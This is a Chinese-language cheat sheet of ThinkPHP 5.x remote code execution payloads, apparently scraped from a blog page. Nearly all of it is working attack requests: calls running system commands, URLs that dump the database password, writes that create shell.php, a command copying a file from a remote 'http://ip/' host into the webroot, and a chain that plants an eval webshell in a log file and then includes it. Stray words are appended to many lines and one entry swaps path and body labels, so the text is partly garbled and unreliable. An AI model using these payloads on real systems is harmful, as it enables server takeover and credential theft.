thinkPHP命令執行漏洞

thinkPHP中反斜槓的做用是類庫\命名空間php

命令執行的姿式

經過反射invokefunction調用call_user_func_array方法,call_user_func_array函數接受兩個參數,第一個爲函數名,第二個爲函數參數數組,以下所示,經過call_user_func_array函數調用system執行whoami函數html

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

執行php代碼web

?s=index/\think\Request/input&filter=phpinfo&data=1

獲取當前數據庫名稱thinkphp

?s=index/think\config/get&name=database.hostname

獲取當前數據庫密碼shell

?s=index/think\config/get&name=database.password

執行php代碼數據庫

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

執行php代碼數組

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

執行php代碼app

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

執行php代碼函數

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

執行php代碼post

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

getshell的姿式

寫入getshell (file_put_contents應該也行)

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?>

使用echo寫入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')

一種新的方法

先判斷如下代碼是否能正常回顯

使用post方法請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

寫入shell到日誌中

post請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>

使用文件包含將日誌文件可看成php文件進行執行(注意日誌文件路徑和名稱)

post請求
請求路徑:index.php?s=captcha
請求實體:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log

經過一句話copy新一句話文件(echo)

post請求
請求實體:index.php?s=captcha
請求路徑:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web絕對路徑/2.php");

thinkPHP 5X 在PHP7以上環境下的 GETSHELL

thinkphp 5.x全版本任意代碼執行分析全記錄

ThinkPHP 5.x 遠程命令執行漏洞復現

相關文章
相關標籤/搜索